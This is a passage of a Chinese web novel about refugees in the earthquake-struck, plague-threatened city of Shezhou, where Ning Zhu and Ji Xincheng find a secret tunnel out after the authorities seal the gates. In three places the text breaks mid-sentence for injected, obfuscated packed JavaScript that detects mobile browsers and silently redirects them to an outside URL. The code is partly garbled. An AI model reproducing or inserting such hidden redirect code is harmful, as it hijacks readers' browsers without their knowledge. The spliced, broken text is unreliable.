回到帐篷后，宁竹将自己所听所闻叙述了一遍，语气严肃地再三叮嘱宁荷和季新桐。 “除开出恭时候，你们就留在帐篷里，哪里也别去，若是出去也务必与人离远些，将面巾戴上，再热也不能取下来。” 闻言，一大一小忙不迭点头。 吃完早饭后，曹余馥和卞瑞萱也过来了，她们身后还有两个推着行李的伙计，看着年纪都在二三十岁左右。 个子高点，身材精瘦的叫邵彬，稍微胖点的那个叫万永。 相比于一般穷苦人家，这两人体格都还算结实，浑身精肉，一看就是做惯了力气活的。 毕竟今日留在帐篷区的都是老弱妇孺，有他们两人在家里，众人也能放心些。 宁竹担心宁荷管不住小狼狗，到时候小家伙偷偷跑出去，找不到回来的路或者被人逮住下锅就糟了，索性也一同将小狼狗带走了。 等官兵再来叫人进城做工的时候，宁竹便将竹篓背上，小家伙似乎也知道是为它好，也没有反抗，乖乖地蜷缩在竹篓里，偶尔起来动一动。 领头的那位官兵看着宁竹他们裹得只剩个眼睛的奇怪模样，多瞧了一眼，但并没有说什么。 等随着大部队进了城，城中路面看着比昨日的干净不到哪里去，甚至更加脏乱。 经过昨日那块空地时，尸体已经多得快堆不下了，恶臭难闻，隐约可见蚊虫围绕在上空，发出嗡嗡的声响，尸体显然腐败得更快了。 宁竹眉头皱紧，跟季家夫妇说了一声“万事小心”，趁着没人注意的时候，悄然脱离了队伍。 现在时辰尚早，一路走过去只看见几个人，虽然都没有人上前来招惹，但总有人盯着她身后的背篓，投来一些意味不明的目光。 宁竹面色不改，步子却迈得愈发快了。 这些人在她眼中不足为惧，可她并不想跟可能已经染病的人多纠缠。 想了想犹不放心，她还把自己之前跟张德明做交易的时候戴的帷帽也翻出来，几乎将整个上半身都笼住了。 这会儿可顾不上热不热、身份暴不暴露的问题了，安全才是最重要的，她要尽可能的隔绝空气中可能存在的病菌。 等七拐八拐到了家门口，宁竹确定甩掉了身后的尾巴，才将小狼狗从背篓里放出来。 这一片没见到尸体，还算干净，让它可以放放风。 小狼狗一落地，湿漉漉的眼睛望着四周，鼻子在地上嗅来嗅去，像是在寻找什么熟悉的气味。 宁竹蹲下身，点了点小狼狗的脑门：“就在这里玩，不许乱跑。” 不敢让它随意乱跑，万一染上病菌回来怎么办。 小狼狗也颇通人性，像是认出了这是什么地方，仰起脑袋“呜呜”回应了两声，就迈着短腿跑到了埋葬母狼的地方，盘着尾巴卧在上面不动。 宁竹看它乖巧的样子，眉尾微挑：“帮我看着，要是有人来了就提醒我。” 小狼狗又是“嗷呜”两声。 挺好，还能帮忙放风，有点用处。 宁竹不再管它，站起身，顺着先前留下痕迹，找到地窖的位置。 地窖入口被厚厚的灰尘掩盖着，并没有人来过的痕迹，她俯下身，双手抓住特意用来遮挡入口的横梁木。 为了不惹人注意，她控制着力道，轻拿轻放，费了些功夫才将横梁木完全移开。 宁竹拍了拍手上的灰尘，单手撑住地窖边缘，纵身跳进去。 地窖里的储备粮已经搬走了一部分，如今剩下的就是六十斤陈米、五斤绿豆、六斤重的火腿、一斤细盐…… 宁竹数了数，剩下的一个大背篓就能装走了。 不过她就背篓这一个搬运工具，离开涉州城的路上还要拿被褥和锅碗瓢盆一类的物品，着实很不方便。 她一边收拾，一边寻思着该到哪里去弄来辆手推车。 同一时刻，刚进城不久的卞含秀夫妇却被领路官兵叫住。 “先等等，你们那个儿子，叫季什么……”官兵当时没把寻人这事放在心上，也没仔细记住名字，皱着眉硬是想不起来。 卞含秀双手抓紧衣摆，强忍着内心的激动，补上儿子的名：“季新承！” 官兵摆摆手，也不在乎叫什么了，只随口把消息告诉他们：“对，万风书院的人都被分配到了北城门了，你们去那里瞧瞧吧。” 其实昨日来城中的时候，季元武就去书院所在的地方看过，只是所有人都已经撤离到城外，普通老百姓很难知道都各自安排去了什么地方，因此并没能打探到消息。 今日得知儿子的下落，季家夫妇俩喜不自胜，只当是老天垂怜，不忍让他们一家人分离。 殊不知，背后多亏宗明川。 官兵中收钱不办事的大有人在，反正平民百姓也不敢跟他们作对，起初对季家夫妇的所托并没有太在意。 后来，宗明川背地里又特意将寻人的事情吩咐一遍。 寻人的事由上峰亲自开口，意义自然就不同，他手底下的士兵不敢再混水摸鱼，想着得抓紧时间把事情给办了。 可是收了钱的官兵都还没来得及行动，今早就有在北城门当差的同僚找了过来，说是受万山书院一位姓季的读书郎所托帮忙寻人。 官兵一听就乐了，正巧信息样样都能对上，倒是省了他不少功夫。 他心里暗自嘀咕，不知道那半大小子给了多少银钱，才劳动同僚替他跑这么远寻人。 这官兵想卖个宗伍长面子，便跟季家夫妻俩多说了两句，还把万风书院等人安置的具体地方告知夫妇二人。 那地方跟宁竹他们的所在的灾民区几乎是两个对角线，如果真要挨着找，不知道找到猴年马月去。 煎熬了好些天，终于打听到了儿子的消息，季家夫妇高兴激动自是不用说，心中又怀着一丝忐忑。 他们朝官兵道谢后，就急忙往北城门的方向赶。 季家夫妇紧赶慢赶，到了书院落脚的地方时，一眼就在穿着蓝色长衫的众多学子中看见了儿子季新承。 十一二岁的少年继承了父亲强壮的体格，看着较之同龄人高上一截，很是显眼。 他正低头整理书卷，神情专注。 看见季新承平安无恙，卞含秀再也忍不住眼中的泪，顾不上许多，口中不住地唤着儿子的名字。 “承哥儿！” 远远被叫到名字的人浑身一颤，猛地回头，待确定远处那两个蒙着面的熟悉身影不是自己看花眼，他眸中迸发出神采，几乎是跑着迎了上去。 “娘！爹！”他扶着母亲的手臂，重逢的喜悦还没来得及浮上眼角眉梢，却发现少了一个人的身影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191432|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 瞬间，他眉头紧皱，一连串的问题脱口而出：“你们都还好吗？怎么找到这里的？姐姐呢？她在哪里？可是受伤了？要不要紧……” “桐儿没事——” 卞含秀余光瞥见季新承衣摆上有血，话音戛然而止，惊慌地将儿子上下看了看，又不敢上手去摸，生怕触碰到他的伤口。 她的声音带着颤抖：“怎么会有血！你受伤了！？” 季新承摇了摇头，急忙安抚母亲：“阿娘不必担心，不是我的血。” 卞含秀重重松了口气，拍拍他的背，大惊大喜下，语气哽咽道：“你没事就好，没事就好。” 一家团聚的时刻，终归是让人羡慕的，虽无人上前打扰，但四面八方都传来若有似无的目光，不是说话的地方。 季元武拉着两人到了僻静的角落。 他方才一句话没说，只是仔细打量了儿子，人看着消瘦了些，从前尚且天真青涩的模样褪去不少，倒是显得成熟稳重许多。 他欣慰地拍了拍季新承的肩膀：“你姐姐没跟来，和你舅母他们在城外，说说你这几日过得如何。” “舅舅他们也来了吗？太好了。” 季新承得知姐姐没事，也放下了心，情绪平复下来后，他将地动后这几日的经历一一道来。 他无疑是幸运的，那日正好赶上夫子教授骑射课，演武场内地势开阔，因而能在地动时幸免于难。 后来他也找回家去过，可是屋子全塌了，他没看见有血迹，发现废墟还有被人翻找过的痕迹，就猜测家人应该没事，只是也到处打听着季家人的消息。 除此之外的时间，他都是跟着学院的师长同窗们在一处，他们这些读书人倒是没有人敢为难，只是当时地动事发突然，书院也死了不少人。 幸存下来的师长便集众学子们灾后施救，他的衣袍上不可避免的沾上了血迹。 季新承说完，有些不解地指了指爹娘遮住口鼻的怪异装扮，问道：“这是？” 卞含秀恍然回神，急忙从怀中翻出一张干净的面巾，给他也围上，快速将他们这几日的事说了一遍。 连宁竹猜测可能会发生瘟疫，昨晚商议找机会换到粮食，尽快离开涉州的事也一并说了。 季新承听着母亲满口不离宁竹，心中划过一丝诧异，不过很快就被忽略掉了。 他眼中带着沉重，声音沙哑地缓缓说出了另一个坏消息。 “爹，娘，涉州城的大人们都已罹难。” 原来昨日宁竹捡到小狼狗，城中又发生了余震那时，涉州城的官员们都在一处商量处理灾后事宜。 结果碰上了余震，所有人都没来得及跑，通通被掩埋，无一幸免。 涉州城的知州大人的确是一个体恤爱民的好官，不然宁竹刚来的时候也不会误以为，自己生活在一个算得上安居乐业的和平古代。 当初地动发生以后，知州大人片刻不敢耽误，立刻就将灾情上报天听，请求赈灾。 奏折是八百里加急送去了，可朝廷给的回复说来说去就只有两个字——“没钱”。 朝廷当真不管，也不可能把刀架在京城那些尸位素餐的人脖子上，最后实在是没有法子了。 昨日，知府大人召集下属们齐聚一堂，也是想尽快拿出救灾方案，保全自己治下的百姓们。 只是可惜苍天无眼，那些为了涉州城殚精竭虑、鞠躬尽瘁的官员们没有死在最大的那场地动中，却死在了小小的余震里。 何其可悲！ 19. 封城 事发之后，消息原是被死死封锁的，季新承也是从师长口中略微得知一二。 可是就在昨日，不知道从哪里冒出来一伙恶民，他们得知了涉州城主事者已死，城中群龙无首，朝廷也不闻不问的消息，因此心生歹念，趁着夜色在北城门烧杀抢掠，许多富户和百姓都遭了殃，还死了不少人。 虽说昨晚的暴乱已经被压下，带头参与闹事者也悉数斩首示众，不过却有不好的传言在城中肆意蔓延开来。 诸如，朝廷官府不欲再救济百姓、城中粮仓里其实根本没有多少粮食，剩下的暴雨酷热后也已经发霉，无法再入口、正是因为统治者无道，才导致上天降灾…… 季新承连续几日没能好好休息，眼睛看着有些发红，他叹了口气：“这些流言大多都是真的，我听到师长们说，官府欲撤以工代赈之举，先生也劝我们尽早离开。” 季元武心下震动，拳头紧握。 没想到还真让宁竹猜准了，瘟疫甚至都没有爆发，涉州城就已经快要支撑不下去了。 它就像一座濒临崩塌的危楼，随时可能将所有人掩埋。 卞含秀倒吸一口凉气，急急出声：“那我们赶快把消息告诉小竹他们！” 季元武拧眉，低声道：“说的是，承哥儿，你收拾一下，我们即刻就走。” 季新承的行李不多，收拾要不了多长时间，家人寻来，他要走也合情合理，不会有人怀疑，只是……他还有些事情放心不下。 季新承抿了下唇：“请爹娘容我去与先生辞别。” —— 简陋的窝棚内，向来如苍松般傲然挺立的半百老人，此刻脊背竟也显得佝偻起来，脸上沟壑深刻，眼神中带着怆然和悲色。 他看着自己最得意的小弟子，动了动唇，到底是什么都没说，只道： “去吧。” 不日涉州城就将大乱，皇帝昏聩不仁，对灾民惨状视若无睹，大厦将倾，想活下去，只能靠自己。 他清明一生，不愿背负骂名弃城而逃，可却不忍心这般要求季新承，毕竟，他还这么年轻，他们都还这么年轻啊…… 季新承眼眶通红，指甲深深嵌入掌心。 他想和师长一同留下，却也放心不下家人，两厢拉扯，心中煎熬，却无可奈何。 头发花白的老人如何看不出来他的踟蹰，缓缓摇头，声音里带着疲惫：“去吧，你们都该走了。” 季新承忍不住膝行上前，抬头望着老人：“先生！西城那边已出现数位染疫的灾民，您同我们一起离开吧！” 闻言，老人嘴唇颤抖一瞬，紧紧握住手中泛黄的书卷：“竟是如此......” 他缓缓闭上眼睛，深吸一口气，片刻后才睁开眼。 “此事我已知晓，你速速离开涉州城，其他的话无需再多说！” 说完，老人毅然背过身去，不再看季新承，可那脊背却越发伛偻。 季新承看着他的背影，几缕白发从老人的鬓边散落，向来最重仪态的先生却再无心整理。 他深知自己劝不了先生，这一别，极有可能此生再无相见之日。 最后，少年低头重重嗑在石板上，泪盈于眼眶。 “学生今日拜别先生！承蒙先生悉心教导，无以报师恩于万一，惟愿先生身体康健，福寿绵长！” —— 季新承辞别其余师长和同窗，走出窝棚时，脑海中还回响着先生说过的话，下意识摸了摸自己肩上的包袱。 他敛起眉眼，浅浅叹了口气。 “爹娘，我们走吧。” 此番事了，季家三人急忙往城外赶去，也是昨夜就说好的，办妥事后就在帐篷处汇合。 “不知道大哥那边有没有买到粮食？”路上卞含秀忍不住忧心。 季元武沉声道：“能买到更好，买不到也要走。” 涉州官员都已死在地动中，如今瘟疫又已经在城内传开，他们必须得走，离开尚有一线生机，若是留在涉州城，那就只能等死！ 天气酷热难耐，一路疾行到西城门处，几人后背都已经被汗水浸湿，黏腻不堪。 此刻，城门口不知为何聚集了大量的百姓，远远就听见吵嚷的声音。 季元武个子高，隔着人群，一眼就看见背着大竹篓的瘦小女童。 “小竹！” 宁竹耳朵一动，听见有人喊自己的名字，扭头循声望去。 不远处站着的正是季家夫妇，找到了儿子，卞含秀的愁容稍稍舒展，精气神都肉眼可见的好了许多。 他们身边还多了一位剑眉星目，身板介于青涩和成熟之间的少年。 宁竹跟季新承年纪相仿，交集却不算多，只知道少年完美继承了爹娘的好品行，是巷子里有名的“隔壁家的孩子”。 去岁就已经通过了县试和府试，得到了童生资格，倘若不是涉州发生地动，今年也该接着下场的。 季新承年纪不大，性格却很是沉稳，不见少年人常有的浮躁之气。 他还活着，季家人能够团聚，宁竹是真心替他们开心。 眼下也不方便叙旧，宁竹快步走近后，与季新承对视一眼，都只朝着对方点头示意。 两人一举一动看着倒是比大人更显成熟。 卞含秀望着城门那边，问道：“怎么人都围在这里？” “不知道，我也刚到。” 宁竹说话时眉头紧蹙，她只比他们早一会儿，还没搞清楚现在是什么情况。 就在这时，最靠近城门的地方又闹了起来。 “既然今日做工不再派发救济粮，为什么不让我们出城！” “就是，没这样的，放我们出去！” “放我们出去！” 把守城门的官兵蔑视着底下的人，冷冷出声：“大人们已经说了，灾民都会重新迁入城内，不允许任何人再进出！” 宁竹心道不好。 万万没想到局势一夜之间就改变了，不知道是谁出的主意，现下涉州城的主事者又是谁。 这是要把所有人困死在城中啊！ 宁竹紧抿着唇，接着往下听。 一个年轻男人挤到人群前面，大声说道：“官兵老爷，我家当都还没有拿进来呢！” 另一个男人也双手合十，眼中满是哀求：“大人，我家中还有老母和稚儿，可否允我出城，将他们接回？” “没钱没粮，这不要人活了吗！？”穿着破破烂烂的老汉捶胸顿足，声音中满是悲愤，“你们还有没有王法！” “我们要出去......” 不论百姓们怎么闹，守城的官兵通通不为所动。 混乱中，人群中有声音道：“难不成谣言都是真的？” “什么谣言？！” “你没听说吗，早就传开了，粮仓里根本没有粮食，全被这些当官的私吞了……” “朝廷每年都在加重赋税徭役，到了这个时候，却要眼睁睁看着我们死！” “那该死的老皇帝招来天谴，却要我们涉州来承受，这是什么道理！” “这些当官的全都是些丧尽天良的畜牲，咱们跟他们拼了！” “拼了！拼了！” 各色议论的声音如大风般吹动星星之火，让形势越演越烈，眼看有几人被煽动，双眼赤红，像是就要强行闯出城。 官兵眼眸眯起，手不知不觉握紧手上的弓箭，另一只手从箭篓中抽出箭矢，箭头摩擦时发出刺耳的“铮”声。 宁竹心中一紧。 “不好！” “快离开！” 季新承与她几乎是同时开口，话音刚落，箭矢划破空气，发出一声尖锐的呼啸，身后随即传来惨烈的叫声，还有宁竹所熟悉的淡淡血腥味。 这些官兵们终于是忍不住对百姓下手了，是要以暴制暴，强行将灾民们困死在城中！ 温热的血液洒在地上，绽开刺目的红色，倒下的年轻男人一双泛着红血丝的眼珠鼓鼓，死也不能瞑目。 方才还想要挤身上前，为自己讨回公道的百姓们也仿佛被冷水浇了个透彻，纷纷后退几步，惊慌尖叫着四散奔逃。 此时，宁竹他们早已远离了城门。 人多的地方太容易传染瘟疫，现在城门口在宁竹的眼中，简直就是个巨大的病原体。 可是城外的灾民被士兵驱赶回城，势必会经过那里，宁荷年纪还是太小，抵抗力远远比不上大人，染病的几率很大。 宁竹心中实在免不了担心，也就带了两分在脸上。 卞含秀见状，轻声宽慰道：“我嫂子是个有成算的，况且还有两个伙计在呢，你也嘱咐过他们出门在外要蒙好头面，少和人说话，定然不会有事的。” 如今人不在身边，担心也无济于事，宁竹只将心绪暂时压下，微微点了点头。 一旁的季元武眉头紧皱，略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196925|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有疑惑道：“昨日还好好的，今日怎么会突然封城？” 宁竹回想着刚才的一幕幕，那些官兵用的都是远距离武器，并没有和灾民们直接接触。 她的眼神逐渐变得凝重，低声说道：“怕是察觉到疫病了。” 这涉州城上面的人，灵敏度有，只是他们不抓紧遏制疫病，反而是下令封城，将所有人困作一堆，是完全不给百姓们留活路。 季新承蹙眉道：“从城门已经出不去了，得另想法子。” 其余城门大概也已经有士兵在驻守，绝对不会给人留下可乘之机，只能再想想还有什么别的办法能离开涉州城。 宁竹思忖着下一步该怎么走，余光不经意瞥见远处废墟背后有个人，身形很是眼熟。 来人正是卞景辉。 他见宁竹看见了自己，也没有开口，只是默默用手比了一个姿势。 宁竹扯了扯卞含秀的衣角，压低声音：“人来了，去那边说。” 几人瞬间懂了，绕开人群往那边去。 双方一见面，卞景辉看到季新承，脸上露出些喜色，拍了拍他的肩膀，说了句“没事就好。” 宁竹则是直截了当地问道：“怎么说，换到粮食了吗？” “换到了，我一个人搬不完，就先存在他那里，”说到这儿，卞景辉叹了口气，“我正想去找你们，谁知城门就被封了。” 季新承出声问道：“舅舅，方掌柜那儿余粮很多吗？” 卞景辉点点头：“多！方掌柜在自个儿家地下挖了好大一个地窖，里面全是存粮，他一直找不到机会出手。” 方掌柜是个聪明人，知道倘若公然买卖，就如今的局势，说不得会被人给哄抢一空，最后什么也捞不到，没准还得把命搭进去。 所以就算是卞景辉这样的老朋友找去，方掌柜偷偷卖了粮食，也不忘再三叮嘱，除了亲人，谁也不要说，怕走漏了风声，自家人小命不保。 卞景辉接着说道：“方掌柜还另外告知了一个消息，城中富商，但凡有点人脉关系的，昨夜都已经出城了。” “方掌柜有什么可以出城的办法吗？”宁竹追问道。 卞景辉摇了摇头，脸都快皱成一团了：“他怕是也没有想到官府的动作这么快，今日一早就宣布封锁城门。” 卞含秀咬着唇：“难不成我们真的要被困死在这里吗？” 闻言，所有人都沉默下来，空气安静半晌。 宁竹抬眼，定声问道：“方掌柜那边有多少人？要是我能找到出城的方法，他们愿意给多少粮食？或者用什么来换？” 倒不是宁竹托大，而是她心中已经隐约有了些想法。 众人皆望了过来，眼中带着惊愕和期待。 卞含秀激动道：“小竹，你有办法！？” 宁竹应了声“是”，转头看向卞景辉，继续问着。 “方掌柜人可信吗？” 卞景辉张了张嘴，下意识回复道：“他人是可信的，其他的我要先问过他……” 话说出口了，实则他整个人都还没有反应过来。 宁竹微微颔首，心下已明白。 “那暂时只告诉方掌柜一人，让他不要声张，我先出去一趟，劳烦秀姨帮我接一下小荷。” 卞含秀自无不应，连忙点头：“你放心，小荷交给我。” 季新承适时出声道：“需要帮忙尽可直言。” 宁竹本来想说不用，自己一个人就行，再转念一想，多个人也好，如果遇见什么特殊情况，方便有人回来通风报信。 宁竹说道：“你跟我一起吧。” 让两个半大孩子去，季元武有些不放心，正想说要不换自己去，就被宁竹打断了。 “等会城门口人多，得留人守着接应小荷他们，需要季叔你帮忙，等接到人，你们就去方掌柜铺子里，晚点就在那边汇合。” 毕竟这个时代可没有手机电话之类的，人要是走散就糟糕了，而且这处靠近城门口，人多眼杂，做什么事情都不方便，还有被传染疫病的风险，还是方掌柜那里更加安全。 闻言，季元武只能把话咽了回去，转而叮嘱道：“那你们自己小心，承哥儿多搭把手。” 季新承点头应下。 时间不等人，宁竹问过方掌柜铺子的具体位置，心中大致清楚后就不再逗留。 她带上季新承转身离开，朝着心中早就打算好的地方而去。 20. 寻找出路 卞含秀眼中满含担心，目送两个孩子渐渐远去。 她轻轻叹了口气：“让两个孩子扛事儿，倒是显得我们这些做大人的没用，帮不上忙。” 季元武察觉到她的情绪，握紧她的手，安慰道：“两个孩子都是稳重的，不必着急。” 卞含秀只能无奈点点头，心中依旧是五味杂陈。 站在一旁的卞景辉，眼中也带着些许忧虑。 他知道自家外甥是个成熟早慧的，可宁竹他满打满算也就只见过两次面，虽说明白她并非寻常孩童，可毕竟是关乎性命的大事，他心中还是有些没底。 “小竹真有法子？能成吗？”卞景辉的语气中满含怀疑。 这回换作卞含秀不高兴了，没好气地瞪了自家哥哥一眼，说话的声音都提高了几分，颇为不满道：“小竹这孩子做事踏实，从来不说大话，昨夜要不是小竹提醒，你什么时候才会来买粮食？” 卞景辉见自家妹妹是真动气了，连忙讨好地笑了笑。 “是是是，是我说错了，唉，你快看，那是不是你嫂子他们……” —— 这边，季新承默默跟在宁竹身后。 原本他还是沉得住气的，可是看着周围越来越熟悉的路径，还是没忍住问道：“我们这是要回巷子吗？” 宁竹轻轻“嗯”了一声，脚下的步子未停。 季新承有些摸不准她的想法，不过看宁竹不愿多说的样子，想着到了便会知晓，遂也不再多问，只埋头赶路。 两个年轻人步子迈得快，转眼就又绕回了破败的巷子中，在宁家门前停下。 随后，季新承就看见宁竹伸出手，直接往自己的怀里掏去，动作豪放，不拘小节。 季新承一下都没缓过神来，神情有些僵硬。 “你这是——” 话音未落，他就亲眼看见宁竹手中多了一个毛茸茸的小家伙。 小狼狗刚才自个玩累了，宁竹看背篓已经装满，就顺手把它塞进外衣兜里。 大概是宁竹给它的安全感太足，回来的时候小狼狗直接在她怀中睡着了，方才一行人商量事情，说了半天话都没见它醒，睡得格外的踏实香甜，半点没有继承到母狼的机警。 宁竹无奈，只能手动将它扒拉出来。 “醒一醒，开始干活了。” 说完，她就把尚且有些迷糊的小狼狗放在了地上，小家伙也没什么起床气，晃晃脑袋，看见宁竹就飞快摇起尾巴，用湿润的鼻子来蹭她。 宁竹伸手挠挠它短圆的下巴：“母狼那会儿怎么带你进来的？还能找得到来的那条路吗？” 这就是她想到的第一个办法。 当时地动发生后，官府很快就派了士兵来组织灾民们离开城内，四个城门皆有人在行动，并且动静还不小。 狼这种生物并不亲人，必然不会是从城门而进，而且母狼的骨架身形不小，它都能够轻松通过的地方，那么一行人当中最高最壮的季元武也行。 之所以特意回到巷子，是因为这里是他们相遇的地方，小家伙才几个月大，带路的本领肯定还比不上母狼，它对这里记忆深刻，想起来的几率大一些。 当然，宁竹也不是完全把宝都压在了小狼狗身上，也想过万一小家伙不靠谱的可能性，自然还留有后手。 不过那些多多少少都会付出点什么，风险比较大，属于下策，不如先试试这更轻松的法子，成与不成都再说。 季新承站在一旁，最初宁竹随手从怀里掏出一只小狗崽子来，他确实惊讶了片刻。 再看她把小狼狗当成人似的，好声好气的商量，让它去找路，心中实在有些好奇。 难道这小狗真的这般通人性？不仅听得懂人话，还能找路？ 季新承静静看着，没有擅自出声，又见宁竹蹲下身来，从身后的背篓中摸出来一条肉干。 小狼狗的尾巴摇得更凶了，立马将肉干叼走，欢快地吃了起来。 肉干分量不多，宁竹等它吃完后，抬手拍了拍它毛茸茸的小脑袋，暗示它要干活了。 收了贿赂的小狼狗竟然真的迈开短腿，头也不回地朝某个方向跑去。 宁竹嘴角微微上扬，扭头对季新承说了一句：“跟上。” 后者想也没想，下意识地跟了上去。 小狼狗也是继承到了母亲的美貌，跑起来的时候长毛飘逸，一双琥珀色的眼眸格外明亮。 它一路绕过废墟，带着身后的两人七拐八拐，不时停下来，耳朵抖动，鼻尖轻颤，似乎是在辨别路线。 不知道是它的嗅觉格外灵敏，还是听力绝佳，总能提前察觉避开人类，他们走了一路，居然都没有碰到几个人。 时间不知过去了多久，最后，小狼狗在某片废墟前停了下来，前爪刨着地面，发出细碎的声响，像是在告诉身后的两人到地方了。 宁竹抬眼望过去，这里像是某个大户人家的后院，小小的山坡用围墙围住了，不过如今已经坍塌了一半，地上能看见些枯败的花草和假山，砖缝中还有些杂草。 见宁竹半天没有动作，小狼狗还小声轻轻地朝宁竹“呜”了一声，又转身在原地转了个圈，尾巴扫过，再次示意到地方了。 宁竹蹲下身，奖励似的揉了揉它的尾巴尖，惹得小家伙舒服地眯起眼睛，喉咙里发出咕噜声。 “乖，晚点回去奖励你。” 宁竹说完站起身，上前去查探小狼狗带他们来的这庭院。 这里用砖块铺就了地面，却没有仔细打理，到处杂草丛生，母狼曾经带着小狼狗走过的痕迹，经过大雨的冲刷早就消失得无影无踪。 宁竹皱了下眉：“有点奇怪……” 闻言，季新承也察觉到了异样：“是有些奇怪，这里的碎石有些太多了。” 他指了指周围遍地都是的小石块，零碎又不规则，人走上去稍不留意就会崴脚。 宁竹将目光落在最大的那堆碎石上，大小不一的凌乱地堆积着，看起来就像是块巨大石头重重砸在地上，摔碎了一般…… 小狼狗一直在那堆碎石周围来回绕着，宁竹相信它应该没有找错地方，那就是有什么东西被他们忽略了。 她索性蹲下身来，挽起袖口，开始搬动地上的碎石头。 “我们把这一块腾空看看。” 季新承二话不说就跟着帮忙，有了他的加入，清理速度一下快了不少。 宁竹抬头看了他一眼，还是挺满意这个帮手的，干活卖力、话也不多。 碎石一点点被挪开，底下渐渐显露出异样。 居然不是想象中土地，而是一个黑黝黝的、约摸能供成年人侧身通行的洞口，继续往外搬的话，应该不止这么大。 洞口边缘有被修理过的痕迹，显然不是近期形成的，从洞中涌出的风，带着地底潮湿阴凉气息，一看便知底下大概另有乾坤。 宁竹与季新承对视一眼，看见了对方眼中的喜意。 “想来当初母狼就是从这里带着小狼狗进入城中的。” 宁竹猜测这里原本应该有一座假山用作遮掩，后来大概是余震发生的时候假山倒了，所以这周围才会有这么多碎石。 “应该就是这里了！” 季新承语气透着点兴奋，一直表现的都很沉稳的少年，此刻眼睛亮晶晶的，看着跟他姐姐季新桐很是相似。 他这个真小孩，总算是有点小孩的样子了。 宁竹收回目光，应了一声：“待会我们先下去看看。” 季新承点头：“好。” 总是要先走一遍才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206375|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好放心带其他人过来。 两人默默加快清理碎石的速度，随着最后几块石头被搬开，一条向下的宽敞平缓的坡路完全显露出来，延伸向看不见光亮的洞内深处。 宁竹从背篓里拿出一个装着素油的陶罐，又取出火折子。 季新承沉默地看着，只觉得她这个背篓简直就是百宝箱，什么都能变出来。 宁竹又捡了几截粗壮的木头，左看看右看看，找不到合适的引燃物，最后默默盯上了季新承长衫的衣摆。 那件彰显读书人身份的青色的长衫，早就已经沾满尘土，下摆处还被划破了几处。 她眨了眨眼，心想自己贡献了油，他贡献点布料应该不要紧吧。 季新承察觉到她的视线，都没等她开口，自己就扯住了衣角，只听“撕拉”一声，他动作利落，不带一丝犹豫地撕下大块布料，递给宁竹时还问了一句。 “够了吗？” 宁竹露出一个笑，这个读书人倒是没有那些迂腐的讲究，她接过布料，不客气道：“再来一点。” 她将浸油的布料缠绕在木棍顶端，用火折子点燃，有了季新承的配合，两个简易火把很快就做好了。 季新承看着有了火光映衬更显黑暗的洞口，转身看向宁竹，自告奋勇道： “我先下去吧。” 宁竹正在给小狼狗擦爪子，准备带着小家伙一起下去，闻言头也不抬地应了声“好”。 谁走前面都行，总归有危险时她会出手的。 两人一前一后往洞口内走去，空气中满是泥土的味道，微亮的火把照亮着前方，将两人的影子拉得细长。 地道修建得十分考究，不光有拱形穹顶，而且从墙面部分脱落的地方可以看见，里面曾经用碎陶片和竹篾一类的东西分层夯实过，每一层都压得极为密实。 宁竹在心中感叹，难怪地震来了都没有倒塌，比现代的某些豆腐渣工程强上百倍。 季新承举着火把走在前面，洞内是一条笔直的甬道，宽敞是挺宽敞，几人并行都没问题，就是修得不高，他须微微躬着身体，看得宁竹都替他难受。 两人有一搭没一搭的小声说着话，也算是给对方传递自己很安全的信息。 黑暗压抑的环境让小狼狗感觉到了不安，毛茸茸的小脑袋从宁竹的衣襟处探出来，喉咙里发出呼噜噜的声音，听起来像是一个小发电机。 “它很聪明，”季新承声音温和地问道，“有名字吗？” 宁竹愣了一下，摸着小家伙柔软的头毛：“还没有，昨日才捡到。” 她还没想到起名这个事儿，心里都是叫着“小狼狗”，这回它立了大功，总不能一直委屈着，连个大名都不给。 宁竹笑了笑：“等安定下来之后，再给小家伙好好取个名字吧。” “等它取了名字，我再携礼道贺。” 季新承说话的声音认真，不像是开玩笑。 宁竹也笑着替小狼狗应了：“成啊，到时候让它好好招待你。” 说完两人都忍不住笑起来，气氛不再像最初那般生疏。 甬道黑暗漫长仿佛没有尽头，在这个年头想要掩人耳目修建这个大工程，不知得费多少人力物力。 宁竹随口说道：“也不知道是哪户人家修建的地道。” 季新承脚步微不可察地顿了一下。 半晌后，他低声说道：“这里是上一任知州的府邸。” 没想到真从他嘴里听见了答案，宁竹讶异地望向他。 知州可是一州的最高长官，一个曾经能在涉州一手遮天的人，为何要在自己家中秘密修建这样一条通向城外的地道…… 回想起刚才看见的满眼荒凉破败，宁竹微微皱着眉：“这里看起来可不像是有人住的样子。” 21. 前任知州 “上一任知州，”季新承沉默片刻，眼中闪过厌恶，“是一个贪官。” 